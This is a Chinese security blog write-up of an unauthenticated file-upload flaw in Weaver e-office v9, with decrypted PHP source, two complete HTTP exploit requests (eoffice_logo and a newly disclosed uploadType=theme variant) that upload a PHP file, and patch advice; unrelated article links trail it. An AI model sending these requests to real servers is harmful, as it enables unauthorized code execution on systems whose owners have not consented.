加入星球访问:https://t.zsxq.com/0ahB6Mw1P

引言

本文仅用于交流学习, 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

中华人民共和国网络安全法: https://www.cto.ac.cn/thread-106.htm

0x01 前言

本来想着分析分析泛微eoffice最新出的漏洞CNVD-2021-49104的,分析分析着,发现代码好像有别的方法也存在这样的漏洞,未授权getshell。一看补丁包,同步修复了这个漏洞。哎,食之无味弃之可惜,写一篇文章,安慰安慰自己。记录一下发现的时间。。。

0x02 环境搭建

下载安装包安装即可。

0x03 漏洞复现

1、无需登录,直接发包即可

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.211.55.3:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 192
Origin: http://10.211.55.3:8082
Connection: close
Referer: http://10.211.55.3:8082/login.php
Cookie: LOGIN_LANG=cn; PHPSESSID=715b458eb0c0227c9d9e23b81222880b
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
​
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
​
<?php phpinfo();?>
​
--e64bdf16c554bbc109cecef6451c26a4--

2、成功后访问http://10.211.55.3:8082/images/logo/logo-eoffice.php 可以看到执行成功。

0x04 漏洞分析

1、根据请求的路径 /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= 定位到文件:/webroot/general/index/UploadFile.php

2、打开乱码问题,搜索一下发现是使用了php zend进行加密

解密地址:php免费在线解密-PHP在线解密 上传加密文件,输入验证码便可以获取解密后的文件

获取的解密代码如下:

<?php
​
class UploadFile
{private static $_instance = NULL;private function __construct(){}private function __clone(){}public static function getInstance(){if (!self::$_instance instanceof self) {self::$_instance = new self();}return self::$_instance;}public function uploadPicture($connection){if (!empty($_FILES)) {$tempFile = $_FILES['Filedata']['tmp_name'];$uploadType = $_REQUEST['uploadType'];if ($uploadType == "login_logo") {$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";if (!file_exists($targetPath)) {mkdir($targetPath, 511, true);}$ext = $this->getFileExtension($_FILES['Filedata']['name']);if (!in_array(strtolower($ext), array(".jpg", ".jpeg", ".png", ".gif"))) {echo 3;exit;}$_targetFile = "logo-login" . $ext;$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;if (move_uploaded_file($tempFile, $targetFile)) {$query = "UPDATE login_form SET LOGO='{$_targetFile}'";$result = exequery($connection, $query);if ($result) {echo $_targetFile;} else {echo 0;}} else {echo 0;}} else {if ($uploadType == "login_bg") {$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/login-bg/";$thumbPath = $_SERVER['DOCUMENT_ROOT'] . "/images/login-bg/thumb/";if (!file_exists($targetPath)) {mkdir($targetPath, 511, true);}if (!file_exists($thumbPath)) {mkdir($thumbPath, 511, true);}$thumbs = scandir($thumbPath);if (12 < sizeof($thumbs)) {echo 2;exit;}$ext = $this->getFileExtension($_FILES['Filedata']['name']);if (!in_array(strtolower($ext), array(".jpg", ".jpeg", ".png", ".gif"))) {echo 3;exit;}$_targetFile = "theme-" . time() . $ext;$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;$thumbFile = str_replace("//", "/", $thumbPath) . "/" . $_targetFile;if (move_uploaded_file($tempFile, $targetFile)) {if ($this->createThumb($targetFile, $thumbFile, $ext)) {$query = "UPDATE login_form SET THEME='{$_targetFile}',THEME_THUMB='{$_targetFile}'";$result = exequery($connection, $query);echo 1;} else {echo 4;}} else {echo 0;}} else {if ($uploadType == "theme") {$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/themes/";if (!file_exists($targetPath)) {mkdir($targetPath, 511, true);}$userId = $_GET['userId'];$sql = "SELECT * FROM user WHERE USER_ID='{$userId}'";$result = exequery($connection, $sql);if ($ROW = mysql_fetch_array($result)) {$themeImage = $ROW['THEME_IMG'];}$ext = $this->getFileExtension($_FILES['Filedata']['name']);$_targetFile = md5(time()) . $ext;$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;$oldFile = str_replace("//", "/", $targetPath) . "/" . $themeImage;if (move_uploaded_file($tempFile, $targetFile)) {$sql = "UPDATE user SET THEME_IMG='{$_targetFile}' WHERE USER_ID='{$userId}'";$result = exequery($connection, $sql);if ($result) {if (file_exists($oldFile)) {unlink($oldFile);}$size = getimagesize($targetFile);$themeWidth = $size[0];$themeHeight = $size[1];if (491 < $themeWidth) {$themeWidth = 491;$themeHeight = intval($themeHeight * (490 / $size[0]));}echo json_encode(array("name" => $_targetFile, "width" => $themeWidth, "height" => $themeHeight));} else {if (file_exists($targetFile)) {unlink($targetFile);}echo false;}} else {echo false;}} else {if ($uploadType == "eoffice_logo") {$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";if (!file_exists($targetPath)) {mkdir($targetPath, 511, true);}$ext = $this->getFileExtension($_FILES['Filedata']['name']);$_targetFile = "logo-eoffice" . $ext;$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;if (move_uploaded_file($tempFile, $targetFile)) {$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";$result = exequery($connection, $query);$row = mysql_fetch_array($result);$param1 = $param2 = false;if (!$row) {$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";$param1 = exequery($connection, $query);} else {$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";$param1 = exequery($connection, $query);}$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";$result = exequery($connection, $query);$row = mysql_fetch_array($result);if (!$row) {$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";$param2 = exequery($connection, $query);} else {$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";$param2 = exequery($connection, $query);}if ($param1 && $param2) {echo $_targetFile;} else {echo 0;}} else {echo 0;}}}}}}}public function getFileExtension($file){$pos = strrpos($file, ".");$ext = substr($file, $pos);return $ext;}public function createThumb($targetFile, $thumbFile, $ext){$dstW = 91;$dstH = 53;if (@imagecreatefromgif($targetFile)) {$src_image = imagecreatefromgif($targetFile);} else {if (@imagecreatefrompng($targetFile)) {$src_image = imagecreatefrompng($targetFile);} else {if (@imagecreatefromjpeg($targetFile)) {$src_image = imagecreatefromjpeg($targetFile);}}}switch (strtolower($ext)) {case ".jpeg":$srcW = imagesx($src_image);$srcH = imagesy($src_image);$dst_image = imagecreatetruecolor($dstW, $dstH);imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);return imagejpeg($dst_image, $thumbFile);case ".png":$srcW = imagesx($src_image);$srcH = imagesy($src_image);$dst_image = imagecreatetruecolor($dstW, $dstH);imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);return imagepng($dst_image, $thumbFile);case ".jpg":$srcW = imagesx($src_image);$srcH = imagesy($src_image);$dst_image = imagecreatetruecolor($dstW, $dstH);imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);return imagejpeg($dst_image, $thumbFile);case ".gif":$srcW = imagesx($src_image);$srcH = imagesy($src_image);$dst_image = imagecreatetruecolor($dstW, $dstH);imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);return imagegif($dst_image, $thumbFile);break;default:break;}}
}
include_once "inc/conn.php";
$upload = UploadFile::getinstance();
$method = $_GET['m'];
$upload->{$method}($connection);

3、首先第4-217行属于类UploadFile,这里可以先不看。从第218行开始执行代码,首先,定义类对象,对象执行m传入的方法。

include_once "inc/conn.php";
$upload = UploadFile::getinstance();
$method = $_GET['m'];
$upload->{$method}($connection);

4、根据请求: m=uploadPicture&uploadType=eoffice_logo&userId= 定位到方法uploadPicture

5、首先检测$_FILES是否为空,不为空,进去条件分支语句。在第23行,看到了uploadType,这里传入的是eoffice_logo,定位到代码122行。(我会在代码注释中放上分析)

if ($uploadType == "eoffice_logo") {//定义上传路径$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";//检测"/images/logo/"路径是否存在if (!file_exists($targetPath)) {mkdir($targetPath, 511, true);}//通过getFileExtension方法提取后缀$ext = $this->getFileExtension($_FILES['Filedata']['name']);//直接拼接后缀$_targetFile = "logo-eoffice" . $ext;//将"//"替换成"/"$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;//调用move_uploaded_file方法,检测文件是否合法if (move_uploaded_file($tempFile, $targetFile)) {$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";$result = exequery($connection, $query);$row = mysql_fetch_array($result);$param1 = $param2 = false;//如果文件不存在,使用insert插入文件if (!$row) {$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";$param1 = exequery($connection, $query);} else {//如果文件存在,则使用update更新文件$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";$param1 = exequery($connection, $query);}$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";$result = exequery($connection, $query);$row = mysql_fetch_array($result);if (!$row) {$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";$param2 = exequery($connection, $query);} else {$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";$param2 = exequery($connection, $query);}if ($param1 && $param2) {echo $_targetFile;} else {echo 0;}} else {echo 0;}}

可以看到检测路径、提取路径,提取后缀等

后面直接执行了数据库语句进行文件的更新或插入操作。

6、getFileExtension方法在下面,其实就是以点来分割后缀。

exequery方法在include_once引用的 "inc/conn.php"文件中,可以看到也没有进行过滤。

7、回到原来的UploadFile.php文件,往下有个createThumb方法,可以看到这里是有进行后缀检测的

8、全局搜索一下,发现当uploadType="login_bg"时调用了它,这里上传会检测后缀

9、再往前看,发现当uploadType="login_logo"时设置了白名单后缀

10、下面还有一个当uploadType="theme"的时候执行的代码,简单看了一下,居然没有进行过滤

11、然后,就发现了一个新的未公开的漏洞,在上面的theme方法

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=theme&userId=1 HTTP/1.1
Host: 10.211.55.3:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 192
Origin: http://10.211.55.3:8082
Connection: close
Referer: http://10.211.55.3:8082/login.php
Cookie: LOGIN_LANG=cn; PHPSESSID=715b458eb0c0227c9d9e23b81222880b
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
​
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
​
<?php phpinfo();?>
​
--e64bdf16c554bbc109cecef6451c26a4--

12、下载了补丁包,发现都设置了上传后缀白名单,并且加了个过滤器。目前泛微官方已发布此漏洞的软件更新,建议受影响用户尽快升级到安全版本。 官方链接如下:http://v10.e-office.cn/eoffice9update/safepack.zip theme

eoffice_logo

0x05 总结

本来想好好写篇分析文章的,现在还发现了一个未公开的漏洞利用poc,搞得有点尴尬,哎,食之无味弃之可惜~ 也希望安全厂商在进行waf规则处理的时候,记得将uploadType=theme也加上,最后扯一句,本篇内容仅用于信息防御技术学习,未经许可不允许进行非授权测试,谢谢合作。 也希望受影响的用户尽快升级到安全版本。 官方补丁下载链接如下:http://v10.e-office.cn/eoffice9update/safepack.zip

记一次泛微漏洞分析到发现未公开新漏洞相关推荐

  1. 【漏洞复现】泛微OA E-Cology V9 browser.jsp SQL注入漏洞复现及利用(CNVD-2023-12632)

    文章目录 前言 声明 一.产品介绍 二.漏洞描述 三.影响范围 四.漏洞分析 五.漏洞复现 六.SQLMAP漏洞利用 七.修复方案 前言 泛微E-Cology v9 Browser.jsp 存在SQL ...

  2. 漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞

    漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞 漏洞描述 泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改 ...

  3. 泛微OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现

    漏洞描述 泛微e-cology OA系统的WorkflowCenterTreeData接口在使用oracle数据库时,由于内置sql语句拼接不严,导致其存在sql注入漏洞 影响范围 使用oracle数 ...

  4. 泛微 e-office v9.0任意文件上传漏洞(CNVD-2021-49104)

    文章来源|MS08067 Web安全知识星球 本文作者:Taoing(Web漏洞挖掘班讲师) 参考: https://cnvd.org.cn/flaw/show/CNVD-2021-49104 htt ...

  5. 泛微OA系统多版本存在命令执行漏洞

    0x01漏洞描述 泛微OA办公系统是一款协调办公软件. 泛微协同商务软件系统存在命令执行漏洞,攻击者可利用该漏洞获取服务器权限. 0x02漏洞危害 攻击者可以通过精心构造的请求包在受影响版本的泛微OA ...

  6. 【漏洞复现】泛微 e-office v9.0任意文件上传漏洞(CNVD-2021-49104)

    0x01 漏洞概述 泛微e-office是泛微旗下的一款标准的协同移动办公平台. 泛微e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包,实现任意代码执行,攻击者可 ...

  7. 以太坊漏洞分析————4、底层函数误用漏洞

    引子:阵有纵横,天衡为梁,地轴为柱.梁柱以精兵为之,故观其阵,则知精兵之所有.共战他敌时,频更其阵,暗中抽换其精兵,或竟代其为梁柱,势成阵塌,遂兼其兵.并此敌以击他敌之首策 --<三十六计第二十 ...

  8. 宝塔php漏洞,宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma的问题分析

    前言 2020 年 8 月 23 日的晚上 群里突然有个管理员艾特全体 说宝塔出漏洞了! 赶紧更新吧. 漏洞信息 宝塔 Linux 面板 7.4.2 版本和 Windows 面板 6.8 版本存在 p ...

  9. 以太坊漏洞分析————3、竞态条件漏洞

    引子:至道问学之有知无行,分温故为存心,知新为致知,而敦厚为存心,崇礼为致知,此皆百密一疏. -- 清·魏源<庸易通义> 区块链的"高速公路"在川流不息的同时,却也事故 ...

最新文章

  1. pip 或者conda 下载安装torch-{cluster,geometric,scatter,sparse,spline-conv}的时候报错
  2. Sqlserver2005 with as 实现分页以提高性能
  3. 使用C++与SFML编写一个简单的撞球游戏Part1——新建工程以及设置
  4. 深度学习性能提升的诀窍
  5. 中小企业如何规避因员工跳槽而产生的风险?
  6. 【转】深入理解JavaScript闭包(closure)
  7. Linux 修改IP及虚拟网卡配置详解
  8. 语言 ota_小米手表第五次OTA升级:百款新表盘 增加运动语音、振动提醒
  9. 学python有前途吗-Python全栈开发有前景吗,是否值得学习?
  10. Opencv特征点检测
  11. 日常一记(11)--word公式输入任意矩阵
  12. Jqweui框架写的CRM配套app
  13. Nero Burning ROM 2014 16.0.03000 精简安装版(功能最强大的光盘刻录软件)
  14. unicode编码表,转载自:近來情轉深的博客
  15. android: Apostrophe not preceded by \ 错误
  16. cisco 交换机 获取 转发表_思科交换机端口号、终端IP地址和MAC地址的互查
  17. 亚马逊测评做单总是被砍单封号是什么原因?
  18. Lambda 表达式的常用操作示例
  19. 做一个互联网+时代的新农民
  20. 初识webpack与webpack环境搭建

热门文章

  1. Unity应用的iOS热更新
  2. C++ Qt C#文件夹重命名 C#复制文件(夹)
  3. C#海康威视人脸设备-创建人脸信息,并同步到数据库
  4. 高等数学课程介绍目录
  5. Struts2框架的基本使用
  6. 直积与张量积的数学与物理定义异同
  7. 如何有效开展小组教学_如何有效的开展小组合作  用小组合作活动推进教学...
  8. 第三章:3.1 正交函数集合
  9. 快速幂算法的原理及实现
  10. 现代通信原理5.3: 窄带高斯白噪声